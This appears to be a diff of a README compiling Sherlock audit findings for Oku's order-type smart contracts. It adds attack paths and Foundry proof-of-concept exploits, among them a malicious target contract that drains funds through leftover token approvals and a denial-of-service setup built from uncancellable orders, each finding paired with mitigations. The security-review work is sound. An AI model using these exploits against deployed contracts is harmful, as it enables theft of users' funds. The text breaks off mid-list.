diff --git a/README.md b/README.md index 9fc7b5e..23b4c54 100644 --- a/README.md +++ b/README.md @@ -100,12 +100,120 @@ _No response_ Implement OpenZeppelin's SafeCast library -# Issue H-2: Lack of nonReentrant modifier in fillOrder() and modifyOrder() allows attacker to steal funds +# Issue H-2: Attackers can drain the `OracleLess` contract by creating an order with a `malicious tokenIn` and executing it with a `malicious target`. + +Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/357 + +## Found by +0xaxaxa, BugPull, Ragnarok, whitehair0330 +### Summary + +In the `OracleLess` contract, the `createOrder()` function does not verify whether the `tokenIn` is a legitimate ERC20 token, allowing attackers to create an order with a malicious token. Additionally, the `fillOrder()` function does not check if the `target` and `txData` are valid, enabling attackers to execute their order with a malicious `target` and `txData`. + +### Root Cause + +The [OracleLess.createOrder()](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L38-L67) function does not verify whether `tokenIn` is a legitimate ERC20 token. + +Additionally, the [OracleLess.fillOrder()](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L103-L148) function does not check if `target` and `txData` are valid. + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +Let's consider the following scenario: + +1. Alice, the attacker, creates a malicious token. + +2. Alice creates an order with her malicious token: + + - `tokenIn`: Alice's malicious token + - `tokenOut`: `WETH` + - `minAmountOut`: 0 +3. Alice calls the `fillOrder()` function to execute her malicious order, setting parameters as follows: + + - `target`: address of `USDT` + - `txData`: transfer all `USDT` in the `OracleLess` contract to Alice. + ```solidity + function fillOrder( + ... + + 118 (uint256 amountOut, uint256 tokenInRefund) = execute( + target, + txData, + order + ); + + ... + } + ``` + - At line 118 of the `fillOrder()` function, `execute()` is invoked: +
+ execute() + + function execute( + address target, + bytes calldata txData, + Order memory order + ) internal returns (uint256 amountOut, uint256 tokenInRefund) { + //update accounting + uint256 initialTokenIn = order.tokenIn.balanceOf(address(this)); + uint256 initialTokenOut = order.tokenOut.balanceOf(address(this)); + + //approve + 237 order.tokenIn.safeApprove(target, order.amountIn); + + //perform the call + 240 (bool success, bytes memory reason) = target.call(txData); + + if (!success) { + revert TransactionFailed(reason); + } + + uint256 finalTokenIn = order.tokenIn.balanceOf(address(this)); + require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend"); + uint256 finalTokenOut = order.tokenOut.balanceOf(address(this)); + + require( + 251 finalTokenOut - initialTokenOut > order.minAmountOut, + "Too Little Received" + ); + + amountOut = finalTokenOut - initialTokenOut; + tokenInRefund = order.amountIn - (initialTokenIn - finalTokenIn); + } +
+ + - At line 237 of the `execute()` function, `tokenIn.safeApprove()` is called. Alice made her malicious `tokenIn` as follows: + ```solidity + function approve(address spender, uint256 amount) public virtual override returns (bool) { + WETH.transfer(msg.sender, 1); + return true; + } + ``` + This transfers 1 wei of `WETH` to the `OracleLess` contract. + - At line 240, all `USDT` are transferred to Alice, as `target` is `USDT` and `txData` is set to transfer to Alice. + - At line 251, `finalTokenOut - initialTokenOut` will be 1, as the contract has already received 1 wei. Thus, the require statement will pass since `order.minAmountOut` was set 0. + +As a result, Alice can drain all `USDT` from the `OracleLess` contract. + +### Impact + +Attackers can drain the `OracleLess` contract by using malicious `token`, `target`, and `txData`. + +### PoC + +### Mitigation + +It is recommended to implement a whitelist mechanism for `token`, `target`, and `txData`. + +# Issue H-3: Lack of nonReentrant modifier in fillOrder() and modifyOrder() allows attacker to steal funds Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/421 ## Found by -0rpse, 0x007, 0x0x0xw3, 0x37, 0xCNX, 0xNirix, 0xProf, 0xaxaxa, 0xc0ffEE, 0xmujahid002, AshishLac, Atharv, Bigsam, Boy2000, BugPull, ChaosSR, ChinmayF, Contest-Squad, DenTonylifer, Falendar, LonWof-Demon, LordAdhaar, NoOneWinner, Ragnarok, Uddercover, Xcrypt, Z3R0, ami, bughuntoor, durov, etherhood, iamandreiski, itcruiser00, joshuajee, kfx, lanrebayode77, pkabhi01, silver\_eth, t.aksoy, t0x1c, tobi0x18, vinica\_boy, whitehair0330, xiaoming90, y51r, zhoo, zxriptor +0rpse, 0x007, 0xNirix, 0xProf, 0xaxaxa, AshishLac, Atharv, Bigsam, BugPull, ChaosSR, ChinmayF, Contest-Squad, DenTonylifer, Falendar, LonWof-Demon, LordAdhaar, NoOneWinner, Uddercover, Xcrypt, Z3R0, ami, covey0x07, durov, iamandreiski, joshuajee, kfx, lanrebayode77, pkabhi01, silver\_eth, t.aksoy, t0x1c, vinica\_boy, whitehair0330, xiaoming90, y51r, zhoo, zxriptor ## Description **_Root Causes:_** 1. [OracleLess.sol::fillOrder()](https://github.com/gfx-labs/oku-custom-order-types/blob/b84e5725f4d1e0a1ee9048baf44e68d2e53ec971/contracts/automatedTrigger/OracleLess.sol#L103) can be called by anyone with a malicious `txData`. @@ -497,7 +605,17 @@ USDC: 2000.0 ## Mitigation Add the `nonReentrant` modifier to both `OracleLess.sol::fillOrder()` and `OracleLess.sol::modifyOrder()`. -# Issue H-3: Users can modify a cancelled order, withdrawing the same tokens twice + + +## Discussion + +**sherlock-admin2** + +The protocol team fixed this issue in the following PRs/commits: +https://github.com/gfx-labs/oku-custom-order-types/pull/1 + + +# Issue H-4: Users can modify a cancelled order, withdrawing the same tokens twice Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/542 @@ -551,7 +669,7 @@ The protocol team fixed this issue in the following PRs/commits: https://github.com/gfx-labs/oku-custom-order-types/pull/1 -# Issue H-4: attacker can drain StopLimit contract funds through Bracket contract because it gives type(uint256).max allowance to bracket contract for input token in performUpkeep function +# Issue H-5: attacker can drain StopLimit contract funds through Bracket contract because it gives type(uint256).max allowance to bracket contract for input token in performUpkeep function Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/700 @@ -820,7 +938,225 @@ The protocol team fixed this issue in the following PRs/commits: https://github.com/gfx-labs/oku-custom-order-types/pull/1 -# Issue H-5: stopLimit Id collision with bracket orders due to no validation, opening up an attack to steal funds +# Issue H-6: Failure to reset unspent approval to the target address will lead to the wiping of the smart contract balance + +Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/745 + +## Found by +0x007, 0x0x0xw3, 0x37, 0xaxaxa, 0xc0ffEE, 0xmujahid002, Boy2000, Contest-Squad, KungFuPanda, ami, durov, etherhood, iamandreiski, joshuajee, t.aksoy, tobi0x18, vinica\_boy, whitehair0330 +### Summary + +The contract gives arbitrary approval to untrusted contracts when filling orders, these approvals don't need to be fully utilized, and in situations where the approvals are not fully used they are not revoked, worst the order creator gets refunded for all unspent tokens. This leaves a malicious contract with unused approvals that they can use to steal funds. This attack is very easy to perform and can be done multiple times. + +### Root Cause + +The root cause is the failure to set approval to zero after the call to the `target` contract. + +https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L240 + +```solidity + function execute( + address target, + bytes calldata txData, + Order memory order + ) internal returns (uint256 amountOut, uint256 tokenInRefund) { + //update accounting + uint256 initialTokenIn = order.tokenIn.balanceOf(address(this)); + uint256 initialTokenOut = order.tokenOut.balanceOf(address(this)); + + //approve + @-> order.tokenIn.safeApprove(target, order.amountIn); + + //perform the call + (bool success, bytes memory reason) = target.call(txData); + + if (!success) { + revert TransactionFailed(reason); + } + + uint256 finalTokenIn = order.tokenIn.balanceOf(address(this)); + require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend"); + uint256 finalTokenOut = order.tokenOut.balanceOf(address(this)); + + require( + finalTokenOut - initialTokenOut > order.minAmountOut, + "Too Little Received" + ); + + amountOut = finalTokenOut - initialTokenOut; + tokenInRefund = order.amountIn - (initialTokenIn - finalTokenIn); + } +``` + +### Internal pre-conditions + +There are pending orders in the contract, for example worth 100 ETH;, + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Attacker creates a malicious contract like the one on my POC +2. Attacker creates an order with 1 ETH, but the min amount out will be 1 wei +3. Attacker Fills their order immediately with the malicious contract. +4. By doing this the attack has earn approximately 1 ETH, they can do this multiple times to steal everything. + +### Impact + +1. The whole contract balance will be lost to the attacker. +2. Similar issue is on the Bracket Contract + +### PoC + +The output of the POC below shows that the attacker almost doubled their initial balance by performing this action. + +```bash +[PASS] testAttack() (gas: 435837) +Logs: + ATTACKER BALANCE BEFORE ATTACK : 100000000000000000000 + MALICIOUS CONTRACT ALLOWANCE : 99999999999999999999 + ATTACK BALANCE AFTER ATTACK : 199999999999999999998 +``` + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.24; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import {ERC20Mock} from "openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol"; +import { AutomationMaster } from "../contracts/automatedTrigger/AutomationMaster.sol"; +import { OracleLess } from "../contracts/automatedTrigger/OracleLess.sol"; +import "../contracts/interfaces/uniswapV3/IPermit2.sol"; +import "../contracts/interfaces/openzeppelin/ERC20.sol"; +import "../contracts/interfaces/openzeppelin/IERC20.sol"; + +contract MaliciousTarget { + + IERC20 tokenIn; + IERC20 tokenOut; + + constructor (IERC20 _tokenIn, IERC20 _tokenOut) { + tokenIn = _tokenIn; + tokenOut = _tokenOut; + + } + + fallback () external payable { + tokenIn.transferFrom(msg.sender, address(this), 1); + tokenOut.transfer(msg.sender, 1); + } + + function spendAllowance(address victim) external { + tokenIn.transferFrom(victim, msg.sender, 100 ether - 1); + } + + +} + + +contract PocTest2 is Test { + + AutomationMaster automationMaster; + OracleLess oracleLess; + IPermit2 permit2; + IERC20 tokenIn; + IERC20 tokenOut; + MaliciousTarget target; + + address attacker = makeAddr("attacker"); + address alice = makeAddr("alice"); + + function setUp() public { + + automationMaster = new AutomationMaster(); + oracleLess = new OracleLess(automationMaster, permit2); + tokenIn = IERC20(address(new ERC20Mock())); + tokenOut = IERC20(address(new ERC20Mock())); + + target = new MaliciousTarget(tokenIn, tokenOut); + //MINT + ERC20Mock(address(tokenIn)).mint(alice, 100 ether); + ERC20Mock(address(tokenIn)).mint(attacker, 100 ether); + ERC20Mock(address(tokenOut)).mint(address(target), 1); + + } + + function testAttack() public { + uint96 orderId; + //Innocent User + vm.startPrank(alice); + tokenIn.approve(address(oracleLess), 100 ether); + orderId = oracleLess.createOrder(tokenIn, tokenIn, 100 ether, 9 ether, alice, 1, false, '0x0'); + vm.stopPrank(); + + //Attacker + + console.log("ATTACKER BALANCE BEFORE ATTACK : ", tokenIn.balanceOf(attacker)); + vm.startPrank(attacker); + tokenIn.approve(address(oracleLess), 100 ether); + orderId = oracleLess.createOrder(tokenIn, tokenOut, 100 ether, 0, attacker, 1, false, '0x0'); + + oracleLess.fillOrder(1, orderId, address(target), "0x"); + + console.log("MALICIOUS CONTRACT ALLOWANCE : ",tokenIn.allowance(address(oracleLess), address(target))); + + //Spend allowance + + target.spendAllowance(address(oracleLess)); + + console.log("ATTACK BALANCE AFTER ATTACK : ", tokenIn.balanceOf(attacker)); + + vm.stopPrank(); + + } + + + +} +``` + +### Mitigation + +```diff + function execute( + address target, + bytes calldata txData, + Order memory order + ) internal returns (uint256 amountOut, uint256 tokenInRefund) { + //update accounting + uint256 initialTokenIn = order.tokenIn.balanceOf(address(this)); + uint256 initialTokenOut = order.tokenOut.balanceOf(address(this)); + + //approve + order.tokenIn.safeApprove(target, order.amountIn); + + //perform the call + (bool success, bytes memory reason) = target.call(txData); + + if (!success) { + revert TransactionFailed(reason); + } + ++ order.tokenIn.safeApprove(target, 0); + + uint256 finalTokenIn = order.tokenIn.balanceOf(address(this)); + require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend"); + uint256 finalTokenOut = order.tokenOut.balanceOf(address(this)); + + require( + finalTokenOut - initialTokenOut > order.minAmountOut, + "Too Little Received" + ); + + amountOut = finalTokenOut - initialTokenOut; + tokenInRefund = order.amountIn - (initialTokenIn - finalTokenIn); + } +``` + +# Issue H-7: stopLimit Id collision with bracket orders due to no validation, opening up an attack to steal funds Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/761 @@ -936,12 +1272,12 @@ The protocol team fixed this issue in the following PRs/commits: https://github.com/gfx-labs/oku-custom-order-types/pull/1 -# Issue H-6: Insecure calls to `safeTransferFrom` leads to users tokens steal by attacker +# Issue H-8: Insecure calls to `safeTransferFrom` leads to users tokens steal by attacker Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/789 ## Found by -0x37, 0xaxaxa, 0xc0ffEE, Bigsam, Boy2000, BugPull, ChinmayF, John44, KungFuPanda, Laksmana, LonWof-Demon, PoeAudits, Ragnarok, Tri-pathi, Xcrypt, Z3R0, bughuntoor, c-n-o-t-e, covey0x07, future2\_22, gajiknownnothing, hals, iamandreiski, joshuajee, lanrebayode77, phoenixv110, rahim7x, silver\_eth, t.aksoy, tobi0x18, vinica\_boy, whitehair0330, xiaoming90, y51r, zhoo, zxriptor +0x37, 0xaxaxa, 0xc0ffEE, Bigsam, Boy2000, BugPull, ChinmayF, John44, KungFuPanda, Laksmana, LonWof-Demon, PoeAudits, Ragnarok, Tri-pathi, Xcrypt, Z3R0, bughuntoor, c-n-o-t-e, covey0x07, future2\_22, gajiknownnothing, hals, iamandreiski, joshuajee, lanrebayode77, nikhil840096, phoenixv110, rahim7x, silver\_eth, t.aksoy, tobi0x18, vinica\_boy, whitehair0330, xiaoming90, y51r, zhoo, zxriptor ### Summary The function `safeTransferFrom()` is used to transfer tokens from user to the protocol contract. This function is used in `modifyOrder` and `createOrder` with the recipent address as the `owner` form who the tokens will be transfered from. An attacker can abuse this functionnality to create unfaire orders for a protocol user that approve more tokens than needed to the protocol contract the fill the order immediatly and gain instant profit while the victim lost his tokens. @@ -997,7 +1333,64 @@ The protocol team fixed this issue in the following PRs/commits: https://github.com/gfx-labs/oku-custom-order-types/pull/1 -# Issue M-1: Incorrect Freshness Logic Validation in PythOracle breaking the entire mechanism for triggering orders +# Issue M-1: Bracket and StopLimit contracts are vulnerable to DoS attacks. + +Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/72 + +## Found by +Contest-Squad, vinica\_boy +### Summary + +Users can create uncancellable order and brick the `Bracket` and `StopLimit` contracts. Both contracts have an upper limit for their pending orders defined in `AutomationMaster` contract. This will ensure that length of the `pendingOrderIds` array wont grow indefinitely and it can be traversed with the current gas block limit. Also, the admin can cancel orders if users create inexecutable order which only take space in the array. + +But there is case where orders wont be possible to be cancelled by admin when the tokenIn is USDT which will allow users to fulfill the supported amount of orders with order that will never be in range to be executed. For example bracket order for WETH with stopPrice = 0 and takeProfit = 100000 USD +### Root Cause +In `_cancelOrder()` the `tokenIn` amount is send back to the recipient: +`order.tokenIn.safeTransfer(order.recipient, order.amountIn)` + +But this call will always revert for `order.recipient` = `address(0)`. Here is the `_transfer()` function of USDT: +```solidity +function _transfer(address sender, address recipient, uint256 amount) internal virtual { + require(sender != address(0), "ERC20: transfer from the zero address"); +@> require(recipient != address(0), "ERC20: transfer to the zero address"); + + _beforeTokenTransfer(sender, recipient, amount); + + _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); + _balances[recipient] = _balances[recipient].add(amount); + emit Transfer(sender, recipient, amount); + } +``` + +And when order is created, `recipient` can be set to `address(0)` since there are no constraints. + +`_cancelOrder()`: https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L501C1-L520C6 + +### Internal pre-conditions + +N/A +### External pre-conditions + +N/A +### Attack Path + +User create enough orders with recipient set to `address(0)` to make the length of `pendingOrderIds` reach `AutomationMaster.maxPendingOrders`. +We assume that this does not lead to DoS and array elements can be traversed within the block gas limit. +Admin cannot cancel such orders and can only increase the `maxPendingOrders`. +This process can happen again and again until the size of `pendingOrderIds` and `maxPendingOrders` reach numbers for which gas cost to traverse the whole array would be more than the current gas block limit. + +### Impact + +Complete DoS for `Bracket` and `StopLimit` contracts. + +### PoC + +N/A +### Mitigation + +Ensure order recipient to be different than `address(0)`. + +# Issue M-2: Incorrect Freshness Logic Validation in PythOracle breaking the entire mechanism for triggering orders Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/115 @@ -1116,108 +1509,34 @@ The protocol team fixed this issue in the following PRs/commits: https://github.com/gfx-labs/oku-custom-order-types/pull/1 -# Issue M-2: User might accidentally fill wrong order +# Issue M-3: Order will be executed with wrong slippage if by the time of execution, price crosses take profit -Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/125 +Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/146 The protocol has acknowledged this issue. ## Found by -Albort, Isanctuary, bughuntoor, phoenixv110, t.aksoy, t0x1c +LonWof-Demon, ami, bughuntoor, covey0x07 ### Summary -When performing upkeep (filling an order), in order to input which order the user wants to be filled, they just input the `pendingOrderIdx`. This is the order's id in the `pendingOrders` array. +An order's direction is determined by whether the current `exchangeRate` is below or above the `takeProfit` price ```solidity - function performUpkeep( - bytes calldata performData - ) external override nonReentrant { - MasterUpkeepData memory data = abi.decode( - performData, - (MasterUpkeepData) - ); - Order memory order = orders[pendingOrderIds[data.pendingOrderIdx]]; - - require( - order.orderId == pendingOrderIds[data.pendingOrderIdx], - "Order Fill Mismatch" - ); + orders[existingOrderId] = Order({ + orderId: existingOrderId, + takeProfit: takeProfit, + stopPrice: stopPrice, + amountIn: amountIn, + tokenIn: tokenIn, + tokenOut: tokenOut, + recipient: recipient, + takeProfitSlippage: takeProfitSlippage, + feeBips: feeBips, + stopSlippage: stopSlippage, + direction: MASTER.getExchangeRate(tokenIn, tokenOut) > takeProfit //exchangeRate in/out > takeProfit + }); ``` -It must be noted that whenever a order is removed from the pending list, the list is shifted. - -```solidity - function removeFromArray( - uint96 idx, - uint96[] memory inputArray - ) internal pure returns (uint96[] memory newList) { - // Check that inputArray is not empty and idx is valid - require(inputArray.length > 0, "inputArray length == 0"); - require(idx < inputArray.length, "index out of bounds"); - - // Create a new array of the appropriate size - newList = new uint96[](inputArray.length - 1); - - // Copy elements before the index - for (uint96 i = 0; i < idx; i++) { - newList[i] = inputArray[i]; - } - - // Copy elements after the index - for (uint96 i = idx + 1; i < inputArray.length; i++) { - newList[i - 1] = inputArray[i]; - } - - return newList; - } -} -``` - -So whenever this happens all orders after the one removed, change their id. As this is the only way we reference which order we want to fill, this is extremely prone to accidentally filling another order. - -### Root Cause -No way to precisely specify which order we want to fill - -### Attack Path -1. There are 3 pending orders [0, 1, 2] -2. User wants to fill order with id 1 and submits tx -3. Before that, another tx slips through and executes order id == 0. Because of this the orders shift to the left. -4. Because of the previous tx, the user accidentally fills order 2. - -### Affected Code -https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L92 - -### Impact -Although full impact is unclear, as its not exactly known how will the swap calldata be constructed, it is quite easy to make a mistake which would result in loss of funds - -### Mitigation -Input both the pending order idx and the `orderId`. - -# Issue M-3: Order will be executed with wrong slippage if by the time of execution, price crosses take profit - -Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/146 - -## Found by -John44, Weed0607, ami, bughuntoor, covey0x07, curly, future2\_22 -### Summary -An order's direction is determined by whether the current `exchangeRate` is below or above the `takeProfit` price - -```solidity - orders[existingOrderId] = Order({ - orderId: existingOrderId, - takeProfit: takeProfit, - stopPrice: stopPrice, - amountIn: amountIn, - tokenIn: tokenIn, - tokenOut: tokenOut, - recipient: recipient, - takeProfitSlippage: takeProfitSlippage, - feeBips: feeBips, - stopSlippage: stopSlippage, - direction: MASTER.getExchangeRate(tokenIn, tokenOut) > takeProfit //exchangeRate in/out > takeProfit - }); -``` - -However, this could be problematic, in the case where by the time the user's transaction is executed, the price moves beyond the `takeProfit` price and changes direction. +However, this could be problematic, in the case where by the time the user's transaction is executed, the price moves beyond the `takeProfit` price and changes direction. ```solidity function checkInRange( @@ -1372,12 +1691,262 @@ _No response_ The OpenZeppelin version is outdated. Upgrade the version to the newest one possible and use `forceApprove` instead of `safeApprove` -# Issue M-5: Create order can be DOSed as there is no compulsory fee collected during the creation/cancellation of orders + + +## Discussion + +**sherlock-admin2** + +The protocol team fixed this issue in the following PRs/commits: +https://github.com/gfx-labs/oku-custom-order-types/pull/1 + + +# Issue M-5: In OracleLess.createOrder() feeBips value validation is missing + +Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/277 + +## Found by +phoenixv110 +### Summary + +The max value of `feeBips` should be ***<=10000***. But this validation is missing in `createOrder()`. All such orders where feeBips is > 10000 will revert in `execute()` method. A malicious user can create 100s of such orders which never execute even if the price conditions are met. It can use `USDC` as tokenIn and blacklist itself so that `_cancelOrder()` also reverts. As `_cancelOrder()` tries to transfer tokenIn to the user. If the receiver is blacklisted user then transfer will fail. This was the malicious user can create 1 wei orders will can neither execute nor cancellable. + +https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L38C5-L67C6 + +### Root Cause + +Missing feeBips input validation in `createOrder()` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Such orders will exist in the `pendingOrderIds` which can not be deleted from the queue. These orders can increase the queue size until the max gas usage limit is reached. Which will DoS all other orders. + +### PoC + +_No response_ + +### Mitigation + +Add the check `feeBips <= 10000` in `createOrder()` of `OracelLess.sol`. + +# Issue M-6: A malicious attacker can create many orders that is not cancelable. + +Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/331 + +## Found by +covey0x07, vinica\_boy +### Summary +When a user creates an order in the `OracleLess` contract, he can add a malicous token contract that reverts when tokens are transferred from the `OracleLess` contract. This order can't be canceled by admin. A malicious attacker can create this kind of order as many as he can to grife the protocol. + +### Root Cause +At [OracleLess.sol#L38](https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L38), there is no restrictions for `tokenIn`. +Any contract that implements `IERC20` can be `tokenIn`. + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +- Alice creates a malicous token contract that reverts if token is transferred from the `OracleLess` contract. +- Alice creates orders by using this fake token contract. +- This order can't be cancelable as it reverts at [L160](https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L160). +```solidity + function _cancelOrder(Order memory order) internal returns (bool) { + //refund tokenIn amountIn to recipient + @> order.tokenIn.safeTransfer(order.recipient, order.amountIn); +``` + +### Impact +- A malicous attacker can grief the protocol by making a lot of uncancelable orders. +- All users of the protocol wastes significant gas in whenever they fill or cancel orders. + +### Mitigation +It is recommended to add mechanism to whitelist tokens. + +# Issue M-7: Malicious User can Poison Bracket.sol with Blacklisted Accounts + +Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/424 + +## Found by +Boy2000, PoeAudits, iamandreiski +### Summary + +The missing check for blacklisted accounts when creating orders allows users to specify a blacklisted account as the recipient of an easily executable order to freeze execution of the orderbook. This will also prevent the order from being canceled by the admin, since the cancelOrder function attempts to send tokens to the order.recipient, which is blacklisted. This can be used to fill up the arrays which contain pendingOrders, which will eventually DOS the protocol when the maxPendingOrders is reached. + +### Root Cause + +The protocol expects to use tokens with blacklists, and allows users to specify the recipient address where tokens will be sent without properly validation if transferring tokens is possible to the recipient address. + +Bracket.sol:procureTokens uniquely uses msg.sender to take the tokens from: + +https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L362C1-L368C15 + +This allows a non-blacklisted address to create and pay for an order for a blacklisted account. This then becomes uncancelable due to the Bracket.sol:_cancelOrder function attempting to return these tokens to the order.recipient: + +https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L510C1-L511C77 + +### Internal pre-conditions + +1. A token with a blacklist is added to the protocol. + +### External pre-conditions + +1. The token must have a blacklist. + +### Attack Path + +1. The attacker calls createOrder in Bracket.sol with the recipient field set to a blacklisted address for a token pair added to the protocol as cheaply as possible. +2. The attacker repeats this until the pendingOrderIds array is full of uncancelable orders. + + +### Impact + +This will cause a DOS to the protocol when the pendingOrderIds reaches maxPendingOrders: + +https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L462C1-L465C11 + +This will also cause the ArrayMutation:removeFromArray to explode in gas costs. + +### PoC + +```solidity +//SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; +import {Test, console2 as console} from "lib/forge-std/src/Test.sol"; +import {Gas} from "test/Gas.sol"; +import "src/automatedTrigger/IAutomation.sol"; +import {OracleLess} from "src/automatedTrigger/OracleLess.sol"; +import {AutomationMaster} from "src/automatedTrigger/AutomationMaster.sol"; +import {Bracket} from "src/automatedTrigger/Bracket.sol"; +import {StopLimit} from "src/automatedTrigger/StopLimit.sol"; +import {IPermit2} from "src/interfaces/uniswapV3/IPermit2.sol"; +import {IERC20} from "src/interfaces/openzeppelin/IERC20.sol"; + +contract Setup is Test, Gas { + AutomationMaster internal automation; + OracleLess internal oracleLess; + Bracket internal bracket; + StopLimit internal stopLimit; + + IPermit2 internal permit; + + IERC20 internal weth = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1); + IERC20 internal usdc = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831); + + address internal _alice = address(0x1111); + address internal _bob = address(0x2222); + + address internal _admin = address(0x12345); + + address internal _wethWhale = 0xC6962004f452bE9203591991D15f6b388e09E8D0; + address internal _usdcWhale = 0x70d95587d40A2caf56bd97485aB3Eec10Bee6336; + + function setUp() public virtual { + uint256 forkId = vm.createSelectFork("http:127.0.0.1:8545"); + + vm.startPrank(_admin); + automation = new AutomationMaster(); + permit = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3); + + bracket = new Bracket(IAutomationMaster(address(automation)), permit); + stopLimit = new StopLimit( + IAutomationMaster(address(automation)), + IBracket(address(bracket)), + permit + ); + oracleLess = new OracleLess(automation, permit); + + vm.stopPrank(); + vm.startPrank(_wethWhale); + weth.transfer(_alice, 10 ether); + weth.transfer(_bob, 10 ether); + vm.stopPrank(); + + vm.startPrank(_usdcWhale); + usdc.transfer(_alice, 10000e6); + usdc.transfer(_bob, 10000e6); + vm.stopPrank(); + + IERC20[] memory tokens = new IERC20[](2); + tokens[0] = weth; + tokens[1] = usdc; + IPythRelay[] memory relays = new IPythRelay[](2); + relays[0] = IPythRelay(0x384542D720A765aE399CFDDF079CBE515731F044); + relays[1] = IPythRelay(0x9BDb5575E24EEb2DCA7Ba6CE367d609Bdeb38246); + vm.prank(_admin); + automation.registerOracle(tokens, relays); + vm.prank(_admin); + automation.setMaxPendingOrders(100); + } + + function testBlacklist() public { + address blacklisted = 0xE1D865c3D669dCc8c57c8D023140CB204e672ee4; + vm.startPrank(_alice); + usdc.approve(address(bracket), 1e6); + + bracket.createOrder( + bytes(""), + 0, + 0, + 1e6, + usdc, + weth, + blacklisted, + 0, + 0, + 0, + false, + bytes(abi.encode("")) + ); + + vm.stopPrank(); + + vm.startPrank(_admin); + vm.expectRevert(); + bracket.adminCancelOrder(39339196620263951948733905105); + vm.stopPrank(); + } +} +``` +With the result being a revert from the usdc contract: +```solidity + ├─ [10903] Bracket::adminCancelOrder(39339196620263951948733905105 [3.933e28]) + │ ├─ [3777] 0xaf88d065e77c8cC2239327C5EDb3A432268e5831::transfer(0xE1D865c3D669dCc8c57c8D023140CB204e672ee4, 1000000 [1e6]) + │ │ ├─ [3058] 0x86E721b43d4ECFa71119Dd38c0f938A75Fdb57B3::transfer(0xE1D865c3D669dCc8c57c8D023140CB204e672ee4, 1000000 [1e6]) [delegatecall] + │ │ │ └─ ← [Revert] revert: Blacklistable: account is blacklisted + │ │ └─ ← [Revert] revert: Blacklistable: account is blacklisted + │ └─ ← [Revert] revert: Blacklistable: account is blacklisted + ├─ [0] VM::stopPrank() + │ └─ ← [Return] + └─ ← [Return] + +``` + + +### Mitigation + +The protocol should add validation for the recipient address for blacklisted users of the tokens added to the protocol that contain a blacklist. + +# Issue M-8: Create order can be DOSed as there is no compulsory fee collected during the creation/cancellation of orders Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/429 ## Found by -xiaoming90 +BugPull, krot-0025, xiaoming90, zxriptor ### Summary _No response_ @@ -1445,7 +2014,17 @@ _No response_ Consider collecting fees upon creating new orders or canceling existing orders so that attackers will not be incentivized to do so, as it would be economically infeasible. -# Issue M-6: `StopLimit` order cannot be filled under certain condition + + +## Discussion + +**sherlock-admin2** + +The protocol team fixed this issue in the following PRs/commits: +https://github.com/gfx-labs/oku-custom-order-types/pull/1 + + +# Issue M-9: `StopLimit` order cannot be filled under certain condition Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/449 @@ -1557,12 +2136,12 @@ The protocol team fixed this issue in the following PRs/commits: https://github.com/gfx-labs/oku-custom-order-types/pull/1 -# Issue M-7: `cancelOrder` order can be DOSed due to unbounded loop. +# Issue M-10: `cancelOrder` order can be DOSed due to unbounded loop. Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/589 ## Found by -056Security, 0x0x0xw3, 0x37, 0xNirix, 0xaxaxa, 0xeix, 0xlucky, Audinarey, Boy2000, Chinedu, Contest-Squad, ExtraCaterpillar, John44, Kenn.eth, Opeyemi, PeterSR, 